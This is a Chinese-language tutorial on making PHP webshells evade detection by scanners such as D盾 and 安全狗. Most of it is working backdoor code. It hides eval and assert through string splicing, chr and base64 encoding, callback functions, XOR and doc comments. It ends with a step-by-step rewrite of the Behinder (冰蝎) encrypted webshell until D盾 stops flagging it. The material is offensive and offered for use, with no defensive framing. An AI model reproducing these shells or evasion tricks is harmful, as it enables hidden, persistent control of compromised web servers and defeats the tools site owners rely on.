原理
向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。
结构
实现两步
- 数据的传递
- 执行所传递的数据
数据的传递
1.http请求中获取数据
$_GET、$_POST、$_COOKIES、$_FILE…HTTP包中的任何位置都可以作为payload的传输媒介
2.从远程远程URL中获取数据
file_get_contents、curl、svn_checkout…将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取
3.从磁盘文件中获取数据
file、file_get_contents…将需要执行的指令数据放在磁盘文件中,利用IO函数来读取
4.从数据库中读取
将需要执行的指令放在数据库中,利用数据库函数来读取
5.从图片头部中获取
exif_read_data…将需要执行的指令数据放在图片头部中,利用图片操作函数来读取
代码执行(将用户传输的数据进行执行)
1. 常用命令执行函数
eval、system…执行(这是最普通、标准的代码执行)
2. LFI
include、require…(利用浏览器的伪协议将文件包含转化为代码执行)
3. 动态函数执行
($()…PHP的动态函数特性)
4. Curly Syntax
(${${…}}…这种思路可以把变量赋值的漏洞转化为代码执行的机会)
ps:
PHP执行命令方法
eval、passthru、system、assert、popen、exec、shell_exec
应对的杀毒软件
目前专业查杀webshell的软件是D盾、网站安全狗、护卫神等。
其他需要注意的主机上的杀毒软件有最常用的火绒和360,但这类杀毒软件对webshell针对性不强,一般识别不到。
所以目前制作免杀,主要还是针对D盾、安全狗等产品。
免杀思路
目前一句话webshell的查杀一般是通过特征查杀的,捕捉其结构中关键的两步,当检查到传入的参数被放在危险的命令执行方法中执行时,就会报后门。
所以需要分析这些查杀软件对哪些关键语句敏感,可以通过二分法寻找各个敏感的位置,然后通过其他方式重写这段会被检出的关键字或关键语句,就可初步达到免杀效果。
php5通常通过回调函数,编码拼接替换异或生成assert等方式实现免杀
php7常用$x($y)模式,$x为执行函数名,$y为参数。通过多层构造拼接,替换,移位,异或编码等方式去除特征,构造$x参数为eval,assert等,再通过这些方式去除GET POST REQUEST等入参方式,最后将入参变量传递给$y。
字符串变形
安全狗、D盾等查杀webshell时对执行命令的方法是最着重关注的,应对这种情况比较好用的免杀方式是在代码中不出现eval或assert等关键字
由于eval是语言构造器而不是函数,所以不能被可变函数调用,一般会通过拼接assert来执行
如
1 2 3 4 5 6 7 8
| <?php $a="a"; $b="sse"; $c="00"; $d= substr_replace($a.$b.$c,"rt",4); $d($_POST['a']; ?>
|
其余的字符串变形方式有:
1 2 3 4 5 6 7 8 9 10
| ucwords() ucfirst() trim() substr_replace() substr() strtr() strtoupper() strtolower() strtok() str_rot13()
|
但由于assert在php7.1之后无法这样使用,所以此类免杀方式基本仅能在php5环境下使用
编码绕过
编码也是一种替换敏感字段的方式,一般用到base64、ascii等各种方式
如ascii:
1 2 3 4 5
| <?php $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); $a($_POST['a']; ?>
|
如base64:
1 2 3 4 5
| <?php $a = base64_decode("YX__Nz_ZX____J0"); $a($_POST[x]); ?>
|
其中php中base64函数不会对下划线做处理,可以任意位置添加下划线干扰。
但如上两种仍然是assert方式,仅能用于php5。
目前php7中可以直接将eval函数放出来,将输入函数进行编码,虽然D盾等看到eval就会报告低级别的可疑但是仍然能使用,且网站安全狗不会阻碍执行。
如
1 2 3 4 5 6
| <?php $_1 = base64_decode("X1B____PU1_____Q=___"); $_2=${$_1}[a]; eval($_2); ?>
|
定义函数
此类方法是在一个自定义函数中执行assert、eval等,或在函数中进行输入传入$_POST $_GET等,但是目前这种方法几乎已经无法免杀了。
1 2 3 4 5 6
| <?php function a($a){ $a($_POST['x']); } a(assert); ?>
|
回调函数
php5常用回调函数结合各种方式隐藏assert来执行命令
assert同样可使用各种字符处理方式,拼接,替换,移位,异或等方式去除特征
回调函数可用以下的列表
1 2 3 4 5 6 7 8 9 10 11 12 13
| call_user_func_array() call_user_func() array_filter() array_walk() array_map() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk() array_walk_recursive()
|
如array_map:
1 2 3 4 5 6 7 8 9 10 11
| <?php function username() {
$a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); return ''.$a; } $user = username(); $pass =array($_GET['password']); array_map($user,$user = $pass ); ?>
|
如call_user_func_array:
1 2 3 4
| <?php $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); call_user_func_array($a, array($_GET['a'])); ?>
|
此类方法仅适用php5,目前较有效,D盾可能会对回调函数报低级别可疑
特殊字符干扰
可增加各种无效特殊字符对规则干扰,如null,\n,以及base64中的下划线都是同样的意思
如使用下划线无意义的null拼接干扰规则:
1 2 3 4 5
| $_1 = base64_decode("X1B____PU1_____Q=___"); $_2=${$_1}[a]; $_3=null; eval($_3.$_2); ?>
|
这种方式目前单独使用也对免杀没有太大帮助了,但是可以组合别的方式使用。
数组
将执行代码放在数组中,配合其他绕过手段就仍然有效
1 2 3 4 5
| <?php $a = substr_replace("asse00","rt",4); $b=array($array=array(''=>$a($_GET['x']))); var_dump($b); ?>
|
类
php类中使用魔术方法执行,单独使用也高概率被查杀,可以组合其他免杀方式
1 2 3 4 5 6 7 8 9 10 11
| <?php class Student { public $_1=''; function __destruct(){ assert("$this->a"); } } $_2 = new Student; $_2->$_1 = $_POST['a']; ?>
|
注册本地变量
这种方式目前未被查杀,但是可执行的命令有限制
1
| <?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>
|
注释获取
ReflectionClass::getDocComment — 获取文档注释
某些安全软件会忽略注释中的代码,所以这种方式是将恶意代码写入注释中,再通过ReflectionClass的getDocComment方法将其提取出来执行,但是非注释内容中也会存在eval或assert,可能会被报低级别可疑。
1 2 3 4 5 6 7 8 9 10
| <?php
class User { } $user = new ReflectionClass('User'); $comment = $user->getDocComment(); $d = substr($comment , 14 , 20); assert($d); ?>
|
异或等无字符特征
由于每一个字符都可由多组不同的两个字符异或而来,所以可以生成多个特征完全不同的木马。
1 2 3 4 5
| <?php $_1='_'.(hex2bin("10")^"@").(hex2bin("0F")^"@").(hex2bin("13")^"@").(hex2bin("14")^"@"); $_2=${$_1}[a]; eval($_2); ?>
|
冰蝎改造
冰蝎的动态二进制加密webshell是非常好的思路,冰蝎客户端自带的其他功能也较好用,有较多的安全从业者在使用,所以其自带的默认马已经完全无法免杀了。
不过由于大部分安全软件对其检测方式都是取默认马中的几段特征,用二分法很容易找到特征所在位置,只要将其特征位置替换为相同功能的语句即可免杀。
冰蝎默认马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>
|
直接使用D盾扫描该文件,报五级可疑,已知后门,通过多次二分法发现
目前D盾识别冰蝎用到的特征是以下三处:
1 2 3 4 5 6 7
| 特征一 $post=file_get_contents("php://input"); 特征二 $post[$i] = $post[$i]^$key[$i+1&15]; 特征三 class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params);
|
分别去除发现第三处是最严格的特征,将第三处重写为
1 2
| class C{public function __construct($p) {eval($p."");}} @new C($params);
|
发现D盾报告降到3级可疑,可疑的位置是file_get_contents\openssl等关键字
我们可以通过多种之前提到的字符串处理方法处理这种类型的特征,此处我使用逆序函数处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 1. $post=file_get_contents("php://input"); 修改为 $post=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
2. if(!extension_loaded('openssl')) 修改为 if(!extension_loaded(strrev('lssnepo')))
3. $t="base64_"."decode"; 修改为 $t=strrev("edoced_46esab");
|
此时没了这些特征关键字,D盾只能识别为二级可疑了
然后处理第三处特征
1
| $post[$i] = $post[$i]^$key[$i+1&15]
|
将其拆开增加一个变量赋值过程,并将后面的15提前定义为变量,最后将异或的两个参数逆序,最终得到如下webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php @error_reporting(0); session_start(); $kkk="e45e329feb5d925b"; $_SESSION['k']=$kkk; $post=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php")); $num=15; if(!extension_loaded(strrev('lssnepo'))) { $t=strrev("edoced_46esab"); $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $temp= $kkk[$i+1&$num]^$post[$i]; $post[$i] =$temp; } } else { $post=openssl_decrypt($post, "AES128", $kkk); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); ?>
|
此时D盾已经无法检测(2021年3月)
最新D盾仍然可以报其二级可疑(2021年5月)